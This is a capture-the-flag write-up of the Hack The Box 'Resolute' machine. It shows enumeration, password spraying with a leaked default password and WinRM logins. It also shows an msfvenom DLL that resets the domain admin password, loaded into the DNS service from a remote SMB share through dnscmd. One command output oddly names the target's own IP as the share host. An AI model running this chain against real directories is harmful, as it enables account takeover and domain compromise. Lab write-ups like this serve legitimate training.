Resolute (HTB) - Writeup

Date: 2025.06.19
Machine Author: egre55
Difficulty: Medium
Pwned by: ziliel

Summary

This box demonstrates a full Active Directory attack chain, starting with username enumeration and password spraying to gain initial access. It escalates through credential hunting and abusing the **DnsAdmins group** to execute a malicious DLL, leading to full domain admin compromise.

Skills Required

- Basic knowledge of Windows & Active Directory

Skills Learned

- DnsAdmins Abuse

Enumeration

nmap

First of all we start with scanning the target for open ports and running services.

```
sudo nmap -Pn -p- -T4 --min-rate=1000 --max-retries=3 -sC -sV
10.129.96.155 > nmap-deepscan.txt
```

```
┌──(ziliel㉿ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Resolute/scans]
└─$ cat nmap-deepscan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 00:54 CEST
Nmap scan report for 10.129.96.155
Host is up (0.045s latency).
Not shown: 65511 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-18 23:01:54Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf       .NET Message Framing
47001/tcp open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc       Microsoft Windows RPC
49665/tcp open  msrpc       Microsoft Windows RPC
49666/tcp open  msrpc       Microsoft Windows RPC
49668/tcp open  msrpc       Microsoft Windows RPC
49670/tcp open  msrpc       Microsoft Windows RPC
49676/tcp open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc       Microsoft Windows RPC
49686/tcp open  msrpc       Microsoft Windows RPC
49710/tcp open  msrpc       Microsoft Windows RPC
50137/tcp open  msrpc       Microsoft Windows RPC
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2025-07-18T16:02:47-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_clock-skew: mean: 2h27m00s, deviation: 4h02m31s, median: 6m59s
| smb2-time:
|   date: 2025-07-18T23:02:49
|_  start_date: 2025-07-18T22:37:17
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.58 seconds
```

we see the ldap domain name is `megabank.local`.

---

enum4linux

We continue with a full `enum4linux` scan.

```
enum4linux -a 10.129.96.155 > enum4linux-scan.txt
```

```
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
```

```
[+] Account Lockout Threshold: None
```

We did find supposedly all usernames in this scan that are in the AD System.
We also found out that the `Account Lockout Treshold` is set to `None` what means we can spray credentials without getting Locked out.

---

usernames.txt

Lets put all the usernames into a `usernames.txt` so we can use them for Bruteforce Attacks.

```
└─$ cat usernames.txt
Administrator
Guest
krbtgt
DefaultAccount
ryan
marko
sunita
abigail
marcus
sally
fred
angela
felicia
gustavo
ulf
stevie
claire
paulo
steve
annette
annika
per
claude
melanie
zach
simon
naoki
```

Initial Access

ldapsearch

We try a ldap scan looking for the word Password hoping we find some clues for credentials.

```
ldapsearch -x -H ldap://10.129.96.155 -b "DC=megabank,DC=local" "
(objectClass=user)" | grep Password
```

```
┌──(ziliel㉿ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Resolute/scans]
└─$ ldapsearch -x -H ldap://10.129.96.155 -b "DC=megabank,DC=local" "(objectClass=user)" | grep Password
badPasswordTime: 133973543621964662
badPasswordTime: 133973543724620302
badPasswordTime: 0
badPasswordTime: 0
badPasswordTime: 133973543776027076
description: Account created. Password set to Welcome123!
```

It looks like in this system the `default password` for new users is `Welcome123!`. It is common that people don't change their passwords in time.

---

crackmapexec

We are going to `spray` this `password` onto every user.

```
crackmapexec smb 10.129.96.155 -u usernames.txt -p Welcome123! --no-bruteforce
```

```
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [+] megabank.local\melanie:Welcome123!
```

It looks like `melanie` is still rocking the `default password`.

Evil-WinRM

Lets try to log in with our new credentials using `evil-winrm`.

```
evil-winrm -i 10.129.96.155 -u melanie -p Welcome123!
```

```
┌──(ziliel㉿ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Resolute/scans]
└─$ evil-winrm -i 10.129.96.155 -u melanie -p Welcome123!
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for mo
dule Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> cd ..
*Evil-WinRM* PS C:\Users\melanie> cd Desktop
*Evil-WinRM* PS C:\Users\melanie\Desktop> ls


    Directory: C:\Users\melanie\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/18/2025   3:38 PM             34 user.txt
```

```
*Evil-WinRM* PS C:\Users\melanie\Desktop> cat user.txt
4410103bd63d52be338e0275648427c4
```

we found the `user.txt` flag.

Lateral Movement

Searching around on the target and using `dir -force` at `C:\` reveals a promising directory.

```
*Evil-WinRM* PS C:\> dir -force


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        12/3/2019   6:40 AM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-        7/18/2025   3:37 PM      402653184 pagefile.sys
```

We continue forcing us deeper in that rabbit hole until we finally find a `txt` file.

```
*Evil-WinRM* PS C:\PSTranscripts\20191203> dir -force


    Directory: C:\PSTranscripts\20191203


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--        12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
```

Inside the `txt` we find `Credentials` for the user `ryan` who has a user folder as well at `C:\Users`.`![[Pasted image 20250719022044.png]] Our new credential set is` ryan:Serv3r4Admin4cc123!`.

We continue with logging in as `ryan`.

```
┌──(ziliel㉿ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Resolute/scans]
└─$ evil-winrm -i 10.129.96.155 -u ryan -p Serv3r4Admin4cc123!

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' fo
r module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-comple
tion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>
```

We proceed with checking what `groups` we are in.

```
whoami /groups
```

```
GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                          Attributes
========================================== ================ ============================================ ==================================================
=========
Everyone                                   Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Lo
cal Group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192
```

We can see that `ryan` is in the `DnsAdmins` group. We can `misuse` our group `membership` and `upload malicious DLL` files.

Privilege Escalation

Background / Theory

- **DnsAdmins** is a privileged AD group that can configure Microsoft DNS server settings (including loading DLLs!).
- If you compromise a user in DnsAdmins, you can load a malicious DLL into the DNS service process—runs as SYSTEM.

---

msfvenom

Lets start with `building` a `malicious dll` file on our local machine.

```
msfvenom -p windows/x64/exec CMD='net user administrator <NewPassword>
/domain' -f dll > da.dll
```

```
┌──(ziliel㉿ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Resolute/scans]
└─$ msfvenom -p windows/x64/exec CMD='net user administrator administrator /domain' -f dll > da.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 312 bytes
Final size of dll file: 9216 bytes
```

- Replace `<NewPassword>` with your desired admin password.
- *Note: This can be any payload; this example simply resets the Domain Admin password.*

---

smbserver

We continue with `setting up` quickly a `smb server` with the `impacket` script `smbserver.py` to share our `dll` file with the target machine.

```
sudo smbserver.py share ./
# Exposes current directory as \\<yourIP>\share\
```

```
┌──(ziliel㉿ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Resolute/scans]
└─$ python3 /media/ziliel/SANDISK-256/scripts/impacket-0.12.0/examples/smbserver.py share ./
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
```

Implementing dll file

From your shell (with DnsAdmins user), configure DNS to load your DLL:

```
cmd /c dnscmd localhost /config /serverlevelplugindll \\
<yourIP>\share\da.dll
```

```
*Evil-WinRM* PS C:\Users\ryan\Documents> cmd /c dnscmd localhost /config /serverlevelplugindll \\10.129.96.155\sh
are\da.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.
```

- Replace `<yourIP>` with your attacker machine's IP.
- This writes the SMB path to a registry key that DNS reads for plugin DLLs.

Restarting DNS

Now we continue with `triggering` our `malicious code` (triggering our payload):

```
sc.exe stop dns
sc.exe start dns
```

```
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 2952
        FLAGS              :
```

- Requires Service Control rights (`DnsAdmins` has this by default).

---

psexec

And finally we should be able to `login` as Domain `Admin`.

```
python3 /path/to/psexec.py megabank.local/administrator@10.129.96.155 -p '<NewPassword>'
```

The `root flag` is found at `C:\Users\Administrator\Desktop\`.

Learned: Enumeration, Password Spraying, Credential Hunting, DnsAdmins Priv Esc.